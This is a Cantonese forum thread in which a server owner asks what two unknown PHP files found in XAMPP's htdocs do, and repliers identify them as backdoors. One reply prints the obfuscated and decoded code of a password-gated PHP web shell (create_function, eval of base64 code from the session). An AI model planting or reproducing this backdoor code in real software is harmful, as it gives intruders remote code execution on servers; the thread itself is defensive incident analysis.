依兩個php係做D乜野?

3ldk

最近先發現xampp的htdocs多左D不明來歷的file

一個叫up.php, 依個我估計係用黎比人upload一個file, 然後執行佢, 我有無估錯?
epc唔比我post code, 所以我post左係online
https://wtools.io/php-sandbox/pgZ


另一個叫images.php, 內容係咁樣, 依個就完全估唔到係做乜野, 睇到有create function 之類, 但睇唔出有咩危害, 有無人估到佢做緊乜野?
https://wtools.io/php-sandbox/phb

但我有樣野諗唔明, 依部server只係得內部少數人知道, 入面有兩個網站, 一個係app的api, 一個係admin用, 都係內部使用, 無放係search engine, 亦不是open source software改出黎, 雖然入面有upload file function, 但完全係由我控制upload去邊個folder, 應該無任何漏洞可以比人upload file, D人係點樣可以放到D file入我server?

kanzone

最近先發現xampp的htdocs多左D不明來歷的file

一個叫up.php, 依個我估計係用黎比人upload一個file, 然後執 ...
3ldk 發表於 2019-6-19 17:33

第一個

1. shell_exec()

複製代碼

可以用黎係 server 行 command

第二個

1. ($_SESSION['theCode'])

複製代碼

用黎set session

harryytm

第二段用base64收埋另一段php code

hihihi123hk

回覆 1# 3ldk

睇咗個 PHP File
Owner
Create Date
Modify Date

應該會有 Insights

同埋你覺得你寫啲 Code 冇漏洞比人 Exploits 唔代表真係冇，最好用 Folder permission 擋，阻止 Php agent Upload 到去其它地方

via HKEPC IR Pro 3.5.1 - iOS(2.4.1)

carlkyo

回覆  3ldk

睇咗個 PHP File
Owner
Create Date
Modify Date

應該會有 Insights

同埋你覺得你寫啲 Cod ...
hihihi123hk 發表於 2019-6-19 19:39

我以前用joomla都試過咁,D人透過embed有毒既網頁係你個網頁去散播
我加強左web login既帳號密碼
刪除有問題既文件
folder permission
之後冇再出問題

alan11abc

最近先發現xampp的htdocs多左D不明來歷的file

一個叫up.php, 依個我估計係用黎比人upload一個file, 然後執 ...
3ldk 發表於 2019-6-19 17:33

    排返好睇D先

https://wtools.io/php-sandbox/p7b
https://wtools.io/php-sandbox/p7h

1. $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
   
2. $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');
   
3. $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7');
   
4. 
   
5. /*
   
6. @session_start();
   
7. if(isset($_POST['code']))
   
8.    substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];
   
9. 
   
10. if(isset($_SESSION['theCode']))
    
11.    @eval(base64_decode($_SESSION['theCode']));

複製代碼

sandoeman

中Q左毒啦，permission set 得唔好